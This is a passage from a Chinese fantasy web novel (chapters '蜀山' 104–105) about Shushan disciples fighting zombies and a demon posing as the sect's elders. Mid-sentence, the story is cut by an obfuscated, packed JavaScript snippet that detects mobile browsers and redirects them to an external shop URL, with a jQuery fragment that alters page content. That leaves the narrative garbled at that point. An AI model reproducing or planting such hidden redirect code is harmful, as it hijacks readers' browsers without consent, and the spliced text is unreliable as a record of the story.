吴祎想起自己发现大师伯与掌教密谋的情形,心想大师姐他们多半也发现了一些蛛丝马迹,却不能明言。难怪她这段时间以来一直郁郁寡欢,小师叔的脾气也很不好,对人总是冷嘲热讽的。那些妖魔既然能代替得了掌教和大师伯,就也能取代得了其他人。为了救出真正的掌教和师父,他们只能暂且忍耐,与敌人虚与委蛇。 通往西峰的路有两条,一条是吊桥,与中峰相连;还有一条是狭窄的山道,通往山下。只要那些丧尸过不来,就什么都好说。张青蜉道:“我去把吊桥砍了,你守住山道。” 刘毅君道:“好。” 大部分弟子都住在这里,还有一部分弟子在东峰,必须有人去通知他们。张青蜉道:“砍了吊桥,我就去东峰让人做好防备。” 刘毅君道:“千万小心!” “你也是,”张青蜉嘱咐道,“好好活着,咱们天亮再见。” 吴祎迟疑了一下,道:“那我……” 张青蜉道:“你跟我来吧,这边人手够了。” 刘毅君让人推来了石头、沙袋和盾牌,把山道堵得严严实实的。他们守在这里,一夫当关,万夫莫开。只要守到天亮,那些丧尸就失去活力了。 她大声道:“两人一组,看好自己的伙伴。如果对方变异了,就在他变成丧尸之前把他的头砍下来,不得心软!” 众弟子知道丧尸的残酷,一旦传染开来,这些人就都完蛋了。他们应道:“是!” 刘毅君回头看向身后的师妹,道:“阿英——” 刘毅君道:“如果我开始变异了,你就砍了我。” 阿英神色一凛,却知道在这种情况下,只有这么做才是最理智的。她的声音有些发抖,道:“我知道了,师姐。” 火把的光照着蜿蜒的山道,前方一群丧尸摇摇晃晃地游荡过来,离他们越来越近了。 刘毅君握紧了剑,下了视死如归的决心。她虽然是女子,却有一副能撑住事的铁脊梁,无论如何她都要保护师弟妹,守住这里。 104.蜀山 二 张青蜉赶到东边山崖,一阵大风吹来,吊桥在风里不住摇晃。暗夜里,对面已经有几个丧尸摇摇晃晃地过来了。吴祎指着桥上道:“那里,他们来了!” 张青蜉拔剑锵地一下砍在铁索上,火花迸溅出来,几下砍断了一根铁索。吴祎也拔出剑来,对着另外一边用力劈砍。他的修为尚浅,几剑下去只把铁索砍了个缺口。 “让开。” 张青蜉一把推开了他,卯足力气斩下去,铁索断为两截。哗啦一声,吊桥轰然塌了下去,桥上的几个丧尸惨叫着跌进了万丈深渊。吴祎往下看了一眼,下头山风森寒,白雾缭绕,摔下去势必支离破碎,连块完整的骨头都捡不着了。 还没来得及过桥的丧尸被堵在对面的山崖上,黑压压一片朝这边咆哮着,却过不来。两个人都松了口气,张青蜉撮唇吹了几下口哨。片刻夜空中传来一声鹤啼回应,一只巨大的仙鹤朝这边飞过来。 这是小师叔养的灵兽,它听见了召唤,飞来落在两人身边。张青蜉骑在鹤背上,又把吴祎拉上来,道:“去东峰。” 灵鹤拍着翅膀向东边飞去,两人俯瞰下去,中峰上的丧尸三五成群地聚在一起,到处游荡。这边的弟子不多,被感染的只有一些守卫的弟子。吴祎抱着一线希望,盼着东峰的情况能好一些。 灵鹤飞到了东边上空,就见几个丧尸扑倒了一个弟子,那弟子发出了撕心裂肺的惨叫声。一群丧尸撕咬一个,那个人很快就没救了。不远处,又有一群丧尸从山下游荡过来,到处都是人影,却几乎没有一个活人了。 吴祎的背后渗出了冷汗,道:“怎么会这样……” 这里已经沦陷了,如果他们没有及时砍断吊桥,西峰现在应该也变成这样了。灵鹤拍着翅膀在高空盘旋,不敢下去。张青蜉的神色凝重,道:“没办法了……只能救一头,咱们尽力了。” 这时候就见远处的夜空中,有个人骑着葫芦朝西峰去了,那人灰色的衣袍在风中不住摆荡。张青蜉意识到那人是刘伯桥,下意识道:“糟了——” 虽然丧尸会被石头堵住,但刘伯桥能飞过去。如果他到了西峰,势必大开杀戒,将会制造出更多的丧尸。 两人都意识到了事情的严重性,这边已经失守了,万一西峰也被攻陷,整个蜀山就全完了。 刘毅君一个人守不住,必须有人去帮她。张青蜉道:“你走小路下山,去外头找援兵,我回去帮毅君她们。” 下面那么多丧尸,吴祎打心眼里害怕,下意识道:“啊……我……” 张青蜉道:“去凤来城,找浩荡盟的刘盟主,他会帮忙的。” 吴祎不知道自己有没有那么好的运气逃出去,但现在除了自己也指望不上别人了。多耽误一刻都是无数人命,张青蜉急了,吼道:“你能不能行!” 吴祎知道如果消息透不出去,这些人就一点指望都没有了。他咬了咬牙道:“我能行!” 张青蜉从怀里掏出一瓶上好的解毒药,递过去道:“万一被咬伤了,割掉那块肉,迅速服药还能有救。” 吴祎收好了药瓶,知道这就是自己的保命符。张青蜉骑着灵鹤把他送到了中峰后山的小路上,这里没有光,也没有人影,暂时是安全的。张青蜉跟他拥抱了一下,郑重道:“就靠你了。” 吴祎点了点头,张青蜉便骑着灵鹤飞了起来,去西峰支援刘毅君了。 四下黑漆漆的,吴祎独自往山下走去。远处传来丧尸的吼声,好像就离他不远。吴祎心里怕极了,但这么多人都指望自己,他不能打退堂鼓。 山道狭窄,上面布满了碎石子,很不好走。吴祎听见身后的灌木丛里传来一阵低沉的吼声,就像疯狗咬人之前龇牙的动静。他的头皮顿时炸起来了,没想到这里也有落单的丧尸。他头也不敢回,拔腿往前跑去。 后头那只丧尸从树丛里钻出来,跑的东倒西歪的,还弃而不舍地撵着他。吴祎喘着气道:“别追了,兄弟,咱们说不定还在一个饭堂吃过饭,跟一个师父学过功课。你死了我也很同情,但你不能拉我一起下水……我责任重大,你就放我一马成不成——” 他说着,踩到了一块石头,脚下一滑顺着山路滚了下去。他摔的一阵天旋地转,不知道滚了多久,终于到了底。前头软绵绵的,他一头撞了上去,疼的眼前直冒金星。 周围弥漫着一股腐臭的气息,他睁眼一看,却见自己摔进了死去的丧尸堆里。这些家伙被撕咬的支离破碎,连行尸走肉都做不成,倒在了这里。 摔在这里,吴祎也不知道自己是走运还是倒霉。他伸手一摸,幸好怀里的药瓶还在。这时候山路上转过来几个丧尸,漫无目的地走了过来。吴祎没地方躲,只好屏住了呼吸,躺在死尸堆里。他骇得浑身冰凉,心里一个劲儿地默念:“你们看不见我,看不见我……” 那几个丧尸从他旁边经过,一眼也没看他。吴祎悄然睁开一只眼,看着它们走远了,松了口气。 他能不被发现都是因为周围有这么多尸体。吴祎灵机一动,忍着恶心把一具尸体的外袍扒了下来,穿在了自己身上,又往脸上抹了点泥巴。那衣服浸透了尸气,盖住了他身上的活人气息。 离山脚已经不远了,吴祎鼓起勇气往山下走去。没走出几步,前头的树林里又钻出几个丧尸来。那些丧尸僵硬地转过头,注视着他,仿佛在分辨他的气息。他往后退了一步,听见身后也传来了丧尸的低吼声。 吴祎头上冒出了冷汗,意识到自己被包围了。到了这个地步,跑也跑不了,打也打不过。他把心一横,寻思道:“算了,打不过就加入吧。” 他把头一歪,做出手脚抽搐的模样,旁若无人地向前走去。那些丧尸感觉他身上的气息跟同类一样,没有撕咬他,反而跟他一起向山下走去。 吴祎混在丧尸群里,随波逐流地往前走。到处都是能要自己命的怪物,尸体的腐臭味淹没了他。他整个人都麻了,不知道生为何物,死为何物,自己为何物。短短一炷香的山路,他像是走了一辈子,感觉整个人都要悟道了。 他跟着丧尸群走到了山脚下,前头是一片开阔地。丧尸们远离了金顶,就仿佛失去了指挥,分散开各逛各的。吴祎趁机钻进了一片树丛里,偷偷看着外头的情形。 石牌坊就在前方,但周围有不少丧尸。他绕着树丛转了一大圈,想找个合适的空隙逃出去。这时候就见半空中有几团金光,从远处飞了过来。 段星河等人乘着金光来到了蜀山脚下,刚到此处,便感到一股强烈的邪气笼罩着整片地域。金光散去,众人在石牌坊外落了地,就见前方树丛里钻出了一个人,连滚带爬地朝他们跑过来。 那人脸上抹着泥巴,浑身都是血,带着一股强烈的尸臭味。六幺拔出了长剑,那人慌忙道:“是我啊,好兄弟,别动手!” 月光照下来,他来到了近前,众人这才认出了吴祎。段星河诧异道:“怎么是你,蜀山怎么了?” 见了自己人,吴祎方才一直压抑着的恐惧爆发出来,握住了他的手,语无伦次道:“妖魔扮成掌教和大师伯的样子,杀了好多人,被杀的人都变成丧尸了……他们是万象门的人。东峰已经沦陷了,小师叔和大师姐在西峰撑着,快去救他们!” 段星河等人互相看了一眼,果然不出他们所料,那帮妖邪一见事情败露就狗急跳墙了。幸亏他们反应快,来的还算及时。前头有几个丧尸在来回游荡,脸上的肉都没了。魏小雨小声道:“好可怕。” 李玉真看着山道上涌动的丧尸,感觉有些不可思议,道:“你一个人怎么下来的?” 吴祎道:“我扮做丧尸混在里头逃出来的,要不是我机灵,这会儿就没命了!” 段星河抬头向西峰望去,那边山上好像已经打起来了。他道:“去西峰看看。” 义灵使化作了一团金光,把他们包裹起来,嗡地一声朝那边飞了过去。 大量丧尸涌到了西峰的山道口,被堵在障碍后面,嗷嗷地挠着石头和沙包。石头啃不烂、挠不坏,越来越多的丧尸被堵在了这里。前面的丧尸被压在了下面,后面的踩着前边的身体爬了上来。弟子们十分恐惧,道:“大师姐,它们爬过来了!” 刘毅君一剑砍翻了一个爬过来的丧尸,道:“守住,不准放过来一个!” 弟子们提剑砍了过去,不断有丧尸惨叫着摔落悬崖。那些人都是他们曾经的同门,大家一开始还有些不忍心,后来杀的多了,也渐渐麻木了。那些人已经死了,如果不这么做,自己也要跟他们一起陪葬。 坚持下去应该有希望,不知道东峰怎么样。已经丑时了,离天亮还有一个时辰。刘毅君握紧了手中的剑,这么多人都指望着自己,她不能放弃。 天空中一人骑着个紫金葫芦来了,刘伯桥落了下来,轻轻一拂衣袖,把葫芦收拢了。他的身材粗壮,比原来高大了不少,已经现出了妖魔的模样。刘毅君握紧了剑,厉声道:“站住,不准过来!” 刘伯桥停下了脚步,慈祥道:“你这孩子怎么回事,这么跟你父亲说话?” 刘毅君道:“你不是我爹,别在这里装模作样了。赶紧离开这里,不然我杀了你!” 刘伯桥露出了愠色,道:“你这孩子莫不是被妖魔迷了心窍,在这里胡言乱语,连你父亲都不认得了?” 其他弟子站在她身后,手里紧握着兵刃,没有放松警惕。刘伯桥看向他们,沉声道:“为师教你们功夫,你们却对为师刀剑相向,简直不孝。还不快把兵器放下,向为师请罪!” 他虽然已经变成了半魔的模样,却仍然以师父的姿态来教训他们。他的话仿佛有种让人无法抵抗的力量,那些弟子听了他的话,神志便混沌起来。个别意志薄弱的人已经扔下了刀剑,跪在了地上。 刘毅君怒道:“别听他的,他是假的!” 刘伯桥痛心疾首道:“女儿,你疯了。为父知道你因为未婚夫失踪的事一直很难过,你想开一点,爹会照顾你一辈子的。” 他往前走了一步,道:“放下兵刃,让为父保护你。” 他注视着刘毅君,眼睛捕捉到了她的目光,刹那间慑住了她的神魂。刘毅君感觉自己的身体不听使唤了,下意识就要照他的吩咐去做。 “别看他的眼睛!” 张青蜉骑着鹤飞了过来,从刘伯桥头顶掠过,打断了他的摄魂术。刘毅君清醒过来,暗自出了一身冷汗,道:“小师叔,你来了!” 张青蜉落在刘毅君身前,拔出了剑。丧尸在山道后面挠着石头,假冒的刘伯桥身上邪气冲天,这边的情形比他想象的还要糟糕。 他道:“你这妖魔是什么来路,潜伏在蜀山想干什么!” 刘伯桥没想到半路来了个打岔的,却不慌不忙道:“什么妖不妖魔的,我们父女说话,你在这里挑拨什么?” 张青蜉蔑然道:“你也不照镜子看看你自己的模样,还在这里骗人,能骗得了谁?” 刘伯桥哈哈大笑起来,声音变得像野兽一样粗哑:“怎么骗不了,刚才他们可是差一点就要缴械投降了呢!” 山上的弟子们被冷风一吹,渐渐恢复了神智。刘伯桥眼看迷惑不了他们,冷笑道:“方才本座不过是逗你们玩玩,不喜欢的话,咱们就换点别的——” 他张开了双手,周身弥漫的阴气像泥浆一样滴落在地上,形成一个又一个人形的鬼影。鬼影越聚越多,摇摇晃晃地朝前扑过来。蜀山弟子顿时睁大了眼,失声道:“伥鬼……他是万象门的人!” 刘伯桥露出了狰狞的笑容,道:“去吧,跟他们好好玩一玩。” 后头的山道上堵着大量的丧尸,西峰上又多了这些伥鬼,那情形简直像地狱一样。蜀山弟子无路可退,只能死战。刘毅君吼道:“斩妖除魔,杀——” 众人跟那些伥鬼厮杀了起来。刘伯桥身上还在不住往下滴落泥浆,只要有他在,这些伥鬼便会源源不绝地生出来。张青蜉提剑朝他砍过去,想要釜底抽薪。刘伯桥早料到他要对付自己,闪身躲过了那一剑。 张青蜉追着他连斩数剑,却连他一片衣角都沾不到。他愤恨地盯着那半人不鬼的东西,道:“你把我大师兄藏到哪里去了?” 刘伯桥袍袖一拂,摆出一副道骨仙风的模样道:“小师弟,你这是说什么疯话。我就是你大师兄,你的剑法还是我代师传艺教给你的呢。” 张青蜉一剑斩了过去,恨声道:“还给我演——!” 这妖魔的反应像野兽一般敏捷,刘伯桥躲过了那一击,反手一掌拍过来,打中了张青蜉的胸膛。 那一掌的力道十分沉重,张青蜉的心口疼得厉害,连退数步才勉强站稳。他喉头一甜,没能压制住,一线血从嘴角淌了出来。 身后的伥鬼越来越多,蜀山弟子尽力厮杀,还是落了下风。不少弟子倒了下去,活着的人被逼得退到了山壁前。刘毅君身上受了好几处伤,脸上也沾了血。灵鹤在头顶盘旋着,想要接主人和刘毅君一起离开这里。张青蜉知道留下来的结果是什么,还是选择了义无反顾。这些人喊他一声小师叔,他就得庇护他们,决不能扔下他们独活。 他生于蜀山,长于蜀山,立志要斩妖除魔,如今能以身殉道,也是此生无憾了。 他道:“你自己走吧,不必管我。” 灵鹤发出凄厉的啼声,十分急切。刘伯桥不耐烦起来,手里凝结了一道黑色的邪气,一掌朝灵鹤拍了过去。灵鹤的左翼被打中了,嘶鸣了一声,挣扎着落进了深渊里。 灵鹤陪伴张青蜉多年,跟他情同老友。张青蜉怒道:“你干什么!” 刘伯桥一拂衣袖,冷冷道:“这扁毛畜牲我瞧着碍眼,我不但要杀它,还要把你们都杀光呢——” 他手中凝起了一道更加强烈的黑气,骤然朝众人拍了过去。张青蜉把刘毅君和一众弟子护在了身后,使出全身力量展开了金光法阵。 刘毅君的心猛地一沉,知道以小师叔的修为未必能抵挡得下这一击。若是硬接的话,恐怕要被碾得粉身碎骨。强横的邪力排山倒海地冲过来,张青蜉被震得往后退了一步,却并没有被打倒。 一道强烈的光芒从天而降,融合进了他的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14197147|138533||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 屏障中,把那道邪气挡在了外面。众人一阵哗然,抬头望去,就见段星河等人周身笼着金光飞了过来。众人落了地,金色的光芒骤然收拢,化作一个几重金轮嵌套的球体,飘浮在半空中。 众人又惊又喜,没想到千钧一发之时来了救星。吴祎激动道:“大师姐,小师叔,我带人帮你们来了!” 张青蜉死里逃生,方觉刚才出了一身冷汗。若不是这些年轻人及时赶到,自己已经被轰的粉身碎骨了。他道:“多谢,你们……怎么又回来了?” 小师叔还不知道义灵使的厉害,不想让他们也卷进危险中来。段星河的神色平静,道:“不必担心,我们既然敢回来,就有收拾它的本事。” 刘伯桥的脸色阴沉,握紧了拳头道:“臭小子,你少说大话!” 锵地一声,段星河把幽冥剑拔了出来。寒光照亮了他的眼神,他凌厉道:“我有没有说大话,来比划比划你就知道了。” 山崖上夜风呼啸,段星河与刘伯桥相对而立。义灵使漂浮在一旁,道:“要我帮忙么?” 段星河恨这些妖人害死了白云观的人,道:“不必,我有话要问他。” 他提剑砍了过去,刘伯桥只得拔剑招架。段星河的力道极大,每一剑砍下去都有火花迸溅出来。他恨声道:“冬青子他们是你杀的?” “冬青子是谁?”刘伯桥一怔,随即反应过来,咧嘴笑道,“你说白云观的那些道士啊——是我杀的,怎么了?” 他非但毫无愧疚之心,反而洋洋得意。段星河道:“为什么杀他们!” 刘伯桥道:“他们没什么本事,又要占据着四灵山那么好的地方。我清理了他们,有什么问题?” 他说着,回味当时情形似的说:“那老头儿临死之前,还求我放过他的小徒孙……我一把就把那小孩儿捏死了,跟捏死一只耗子似的。没用的东西就该消失,这个世界是属于强者的,懂么?” 其他人听了这话都十分愤怒。魏小雨双眼通红,跺脚道:“大师兄,快杀了他,给小蝉他们报仇!” 段星河也气得怒发冲冠,接连几剑斩过去,一剑擦着刘伯桥的身体斩过去,将他身后的石崖都砍出了个缺口。刘伯桥没想到这小子这么难对付,皱起了眉头道:“你这小疯子,一身煞气自己都压制不住,还发这么大脾气,不要命了么?” 段星河冷冷道:“用不着你来操心!” 刘伯桥纵身一跃,落到了一棵大树上。他手中生出一道黑色的邪力,抛到了山道上的那些丧尸身上,扬声道:“孩儿们,过来跟他们耍一耍!” 那些丧尸融合了他的邪气,被催化的更加凶恶,发狂地吼叫着,奋力爬过石堆。守山道的弟子把它们砍下去,后面的也毫不害怕,像浪花一样涌过来,前赴后继地往前爬。 很快有弟子被它们扑倒了,后面的丧尸一拥而上,从缺口处爬了过来。弟子们顿时慌了,嘶声喊道:“快拦住它们!” 丧尸撕咬着周围的弟子,不断有人发出惨叫声,被感染成了新的丧尸。宋胡缨和李玉真等人都去帮刘毅君了,六幺留下来护着司空玉和魏小雨。整个西峰上一片混乱,到处都是人影。结香忽然听见一声野兽般的低吼,回过头来时,就见一个丧尸朝她扑了过来。 她吓得浑身都僵住了,一时间动弹不得。 “小心!”伏顺从不远处冲过来,一下子把她推开了。 那只丧尸扑了个空,发出了愤怒的吼叫,一把薅住了伏顺的腿。它脸上的肉都被同类啃没了,张开大嘴,向伏顺的小腿上狠狠咬去。 “啊啊啊啊——” 那一口咬的极狠,伏顺腿上的肉被丧尸硬生生撕下来了。伏顺疼的放声惨叫,比少了块肉更可怕的是,他沾上了丧尸的口水,要被感染了。 又有其他丧尸冲过来,伸出七八只手来,要分食伏顺。赵大海怒吼一声,扛着盾牌冲过来,把那些丧尸都撞开了。丧尸爬过来要撕咬赵大海,伏顺的腿还疼的厉害,却爬过去压在赵大海身上,嘶吼道:“要咬就咬我,反正老子已经被你们啃了,别再祸害我兄弟!” 他一向贪生怕死,却把兄弟看得比自己的命还重。此时就见血花四溅,宋胡缨提着斩马/刀砍杀了那几个僵尸,道:“你们没事吧!” 伏顺背上满是被抓伤的痕迹,腿上的伤口也开始发乌了,躺在地上直倒气。赵大海连忙把他扛起来,来到了人少一些的地方。结香看着他身上的伤口,眼泪顿时淌了下来,道:“对不起,都是因为我,是我对不起你!” 伏顺摇了摇头,虚弱道:“没事……我愿意的,你没受伤就好。” 他说着咧嘴傻笑起来,心里一点也不后悔。他怂了一辈子,终于也做了一回英雄。他救了自己喜欢的人,也救了自己的好兄弟,就算死了也不亏了。 赵大海浑身不住发抖,求助的目光看着周围的人,道:“怎么办,二师兄,你想想办法啊!” 步云邪对于丧尸之毒也一筹莫展,只能用尽全力为他疗伤。他道:“忍一下。” 步云邪把一块手帕塞进伏顺的嘴里,拿刀把他伤口处的肉割掉了。伏顺疼的像一条砧板上的鱼,弓着身体不住挣扎。赵大海拼命按住他,仿佛也感到了他的痛苦,哑声道:“好兄弟,忍一忍,能治好的!” 步云邪手上凝结了一道金光,笼罩着伏顺的伤口。他用尽了浑身的力量治疗,汗水不住从额角淌下来。伏顺身上尸毒蔓延的速度减缓了一些,手指却已经开始痉挛了,耳中也听到了一阵嗡嗡的轰鸣,仿佛有什么在召唤着他。 痛觉渐渐消失了,他生出了一股饥饿的感觉,强烈的饿火灼烧着他,让他迫切地想吞吃掉一些东西,草木、石头……人,只要能填补内心的空虚感,随便什么都好。 这样下去,他早晚也会跟那些人一样,变成一具没有感觉六亲不认的行尸走肉。 吴祎从人群后面挤过来,大声道:“让开,让一下,让我试试——!” 他扑到伏顺身边,道:“我这有药,小师叔给的。他是元婴期的丹修,厉害得很,快吃了试试!” 他拿出药瓶,倒出五六颗药,一股脑地塞进伏顺嘴里。伏顺吞了下去,一时间感觉有些恍惚。 “怎么样?” 众人都看着他,伏顺却说不出话来,只觉得寒热交织,两股力量在体内交锋。赵大海握着他的手,伏顺的嘴唇一阵发麻,空洞的眼睛映着远处的火光,恍惚地想:“我比他们幸运多了,起码死之前,还有这么多人在乎我。那些人……却要孤零零的死去,谁会眷顾他们?” 涌过来的丧尸如同潮水决堤,被感染的弟子也越来越多。还没被抓伤的弟子都慌了,每个人都喘着气,发着抖,生怕自己会成为一下个被感染的人。 刘毅君的脸色惨白,握剑的手心已经被冷汗湿透了。虽然已经预料到可能会出现这种情况,可一旦面对,她还是难以下这个狠心。 一人道:“大师姐,怎么办?” 刘毅君的指甲抠进了手心里,颤声道:“把变异的人……都杀了!” 105.蜀山 三 凛冽的山风吹过,刘毅君的发丝猎猎飞了起来,眼睛映着火光,隐忍着悲痛的泪水。 被感染的人都是跟他们朝夕相处过的同门,做这个决定实在太难了。可如果不这么做,所有人都会变成丧尸。刘毅君背着沉重的压力,为了活着的人必须下这个狠心。 “且慢。” 一个无机质的声音响起,那个金色的球体飞了起来,缓缓道:“丧尸之毒么……让本座来试试。” “净化——” 一道金光生出来,从西峰上空展开,穹光覆盖了整个蜀山。光芒照在正在变异的弟子身上,那些人如同被金色的流水包裹着,涤荡了全身。正在抽搐的人渐渐舒展了身体,平静下来。那些身受重创实在无法挽救的人,也没有那么痛苦了,在临终前获得了最后一点安慰。 伏顺的身体被金光笼罩着,体内那股灼热的感觉渐渐消失,意识又回来了。腿上的痛感让他的表情扭曲起来,道:“疼疼……我的腿好疼啊!” 还未完全被尸毒感染的人受到了净化,渐渐恢复了意识。众人见了那情形都激动不已,仿佛看到了奇迹。有人低声道:“还有救,他们有救了……咱们也有救了!” 那些变异的人中有他们的好友,也有亲人,他们有救了,大家都热泪盈眶。 刘伯桥本来已经胜券在握了,没想到这些丧尸能被义灵使净化。刘毅君等人仇恨地看着他,恨不能把这妖魔千刀万剐。刘伯桥见自己腹背受敌,有些慌了。段星河神色凌厉,已经提剑朝他砍了过来。 幽冥剑极其沉重,刘伯桥勉强招架了一剑,虎口被震得发麻。段星河不给他喘息的机会,又是一剑斩过去。哧地一声,把他从右肩倾斜向下,砍出了一道一尺长的血口。鲜血迸溅出来,那具身体已经不堪用了,刘伯桥捂着伤口踉跄了两步,忽然放声大笑起来。 “有意思,看来不动点真格的是不行了!” 他浑身不住震颤着,仿佛有什么东西要破体而出。他歪过头,脖子滋啦一下子裂开了一道口子。那道伤口越撕越大,跟他身上的伤口连在了一起,露出了森森的骨骼和肌肉,他却全然不觉得疼。一个硕大的黑影从他体内扭动着钻了出来,却是一只大伥。 操纵肉身的东西离开了,刘伯桥变成了一个扁扁的皮囊,就这么瘫落在地上。 众人看着那情形,都十分惊愕。伏顺想起了从前自己就被这种东西寄生过,害得他脑袋痒得要命。他下意识道:“双生蛊,这是双生蛊!” 这邪门玩意儿是万象门独有的东西,会偷偷寄生在宿主身上,观察他的一举一动,渐渐生长成他的模样。在取代本人之前,它应该已经暗中观察刘伯桥很久了,要不然也不能把他的一举一动都模仿的这么像。 大伥漂浮在半空中,残破的白袍不住摆荡,虚空一般漆黑的脸上浮着一双赤红的眼和一个咧开的大嘴,仿佛在嘲讽他们。段星河道:“刘伯桥本人呢?” 大伥得意道:“他早就死了,被我吃掉啦,一点骨头渣也没剩。我早就说过了,他就是我,我就是他,我和刘伯桥已经融为一体了!” 段星河道:“天玺真人也是假的?” 大伥伸出了手,巨大的爪子往虚空中一握,傲然道:“什么是假的,什么又是真的。蜀山在我们的掌握之中,力量在我们手中,我们的一切自然就是真的!” 段星河与它说话之时,李玉真悄悄从袖中捻出一道符咒。它尚在洋洋得意,李玉真将符咒向天上一抛,一道烈焰燃尽了黄符,骤然生出了一道符文构成的锁链,哗啦啦地从四面八方围绕而来,把它困在了其中。 “拘鬼阵——” 此阵专门针对厉鬼和阴邪之物,若是它不脱窍而出,此时李玉真还对付不了他。那大伥顿时慌了,左冲右突,却无法逃出去。锁链叮当直响,被碰到的一瞬间便生出一道火焰。它逃不出去,大怒道:“你们居然骗我……我不服,放我出去,我要跟你们大战八百回合!” 张青蜉冷冷道:“想一对一,你这卑鄙小人不配。” 他说话声中,刘毅君提起了手中长剑,带着强烈的除祟金光,朝它狠狠地斩了过去。 刘毅君对它恨得入骨,那一剑凝结了她全身的灵力。大伥身上缠满了锁链,眼看着她冲了过来。它拼命挣扎,把铁链晃得哗哗作响,赤红的眼睛越睁越大—— 哧的一声,长剑狠狠斩过,把大伥砍成了两半。白色的袍子飘落在地,大伥的身体扭曲着,发出了声嘶力竭的嚎叫。 “我不服,我不服——就凭你们,我、我不……” 它被斩的魂飞魄散,像流沙一般消散在众人面前。刘毅君的手发着抖,喃喃道:“爹,女儿为你报仇了,你看见了么?” 长久压抑的情绪爆发出来,纵使坚强如她,也忍不住落下了眼泪。很久之前,她就已经发现父亲的异样了,一开始,他总是躲避着自己,后来渐渐露出了越来越多的马脚。 他的习惯、爱好,细微的表情,都与原来不同,行事也变得贪婪狂妄,与从前判若两人。刘毅君意识到那个人不是自己的父亲了,她有过迷惘,也有过冲动,想要直接问一问他,可最终还是忍住了。 她一个人的力量太微弱了,贸然去质问只有死路一条。那些人既然能取代父亲,就能轻而易举地取代自己,接管她手下的弟子。为了师弟妹们,她也不能轻举妄动,只能跟那些非人的家伙虚与委蛇,看着它们窃据高位,忍受着屈辱和愤怒,蛰伏着,等待一个把蜀山夺回来的机会。 陈师叔和肖师叔应该也发现了,流露出了反抗的意思,但无法跟掌教抗衡,只能出外云游避祸。后来小师叔也看了出来,这里已经被妖魔窃取了,掌门、长徒,甚至守山的朱雀也被污染了,更不必说还有多少他们没发现的卧底弟子。阴云笼罩着这片天空,妖气肆意弥漫。 很长的一段时间里,她和小师叔守着这个秘密,相依为命。如果没有对方跟自己分担,他们可能早就崩溃了。如今他们终于杀了眼前的恶魔,却没有轻松的感觉,因为还有更难对付的敌人没有铲除。 一道阴云聚集起来,巨大的阴影笼罩了西峰,天玺真人的身影渐渐浮现出来。 “这就不行了……枉本座对他这么信任,真是没用!” 阴沉的声音传来,又带着一高一低两个声音,就像有锉刀摩擦着人的耳朵似的。他飘浮在半空,苍老的面容带着一股阴鸷的气息。而在他的左右两侧,又分别多出了两个脑袋,一共长着六根胳膊。赵大海抬起了头,道:“好家伙,三头六臂啊。” 蜀山的弟子们看到掌教真人变成这个样子,都极为震惊,简直不敢想象蜀山被这些妖物窃据了这么许久。段星河道:“你也是万象门的大伥?扮成这个样子想做什么!” 那怪物哈哈大笑,白色的须发在风中乱舞,道:“干什么?蜀山这帮老儿又臭又硬,跟浩荡盟联手与我主上作对。咱们就给他来个釜底抽薪,取而代之——” 他袍袖一拂,故意要刺激刘毅君似的道:“我们在这里吸取了不少能量,还要多谢你们没早翻脸。你是个聪明人,知道保命为上。不过你要是能早一点发现,你爹就不用死了!” 刘毅君被气得浑身发抖,张青蜉低声道:“别听它的,这妖物故意激你。” 段星河道:“真正的天玺长老在哪儿?” 那怪物袍袖一拂,冷笑道:“那老头儿还活着,但本座日理万机,忘了把他埋在什么地方了。你们有本事就慢慢找,说不定运气好,能在他断气之前找到呢?” 一众蜀山弟子都十分愤怒,刘毅君的呼吸都在发颤,恨声道:“给我死——” 她纵身掠过去,一剑朝那怪物砍过去。它骤然躲过了,反手一掌打过来,强烈的气流将她冲击得向后飞了出去。张青蜉一跃而起,将她接住了,两个人都被那股力量冲得倒在了地上。 其他弟子涌上来,急道:“小师叔,大师姐,你们没事吧!” 刘毅君吐了一口血,脏腑疼的厉害,张青蜉的脸色也十分难看。这怪物比之前那家伙难对付多了,它在蜀山伪装多时,吸收了大量的灵力,甚至还掠夺了天玺真人本身的力量,这些小辈根本不是它的对手。 刘毅君握紧了拳头,很不甘心。那怪物打伤了刘毅君,转身看着段星河等人,缓缓道:“小子,轮到你们了——” 他袍袖一拂,兴起了一阵狂风。段星河持剑挡在众人身前,其他人被大风吹得连连后退。那家伙左手凝结着阴邪之气,右手嗡地化出了几根两尺长的银色钩子,带着寒光向段星河抓了过来。 那一爪擦着他胸膛划过,哧地一声撕裂了他的衣裳。段星河心中一凛,连忙向后退去,那妖物追过来,接二连三抓向他。段星河感觉这东西身上的邪气极重,跟它过了几十招,自己体内的煞气仿佛有所感应,也跟着沸腾起来。 他拼命控制着煞气,想靠自己的力量战胜对方。那怪物却哈哈大笑道:“小子,想赢我么?光靠你自己那点本事可不够啊,你不是有煞气么,把自己交给本能,来啊——” 段星河咬紧了牙关,知道这妖物故意煽动自己,那不是把自己交给本能,而是交给魔鬼。如果滥用这股力量,自己的神志被侵蚀殆尽,最终的结果就是堕魔。 “闭嘴!” 他怒吼一声,一剑朝那妖魔斩去。对方轻飘飘地躲过了,道:“差的太远了,小伙子,你还在坚持什么?良心、正义,抛弃那些没用的东西让自己过得更轻松一点不好么?拥抱绝对的力量,看谁不顺眼就杀,碾压一切,多痛快!” 段星河体内的煞气越来越强烈,汗水从额头上滴下来。 他一剑插在地上,勉强想让自己站住。仿佛有火焰灼烧着他的身体,要撕裂他的每一寸皮肤。他的脖颈上出现了细小的裂纹,血丝现了出来,那种感觉让他想起了不久之前,这妖魔假扮天玺真人,给他洗经伐髓时的情形。 那妖物仿佛知道他在想什么,大笑道:“像你这样的瑰宝千年难得一见,沉寂了就太可惜了。本座已经为你打通了经脉,你的煞气会加速侵蚀身体。还不早点屈从于我们万象门,为我们教主效力!” 眼前的情形已经扭曲变形了,到处都是纷乱的火光,声音也变得时远时近。段星河拼命拽住一线理智,哑声道:“你……休想!” 步云邪急道:“不能再这样下去了,快救他!” 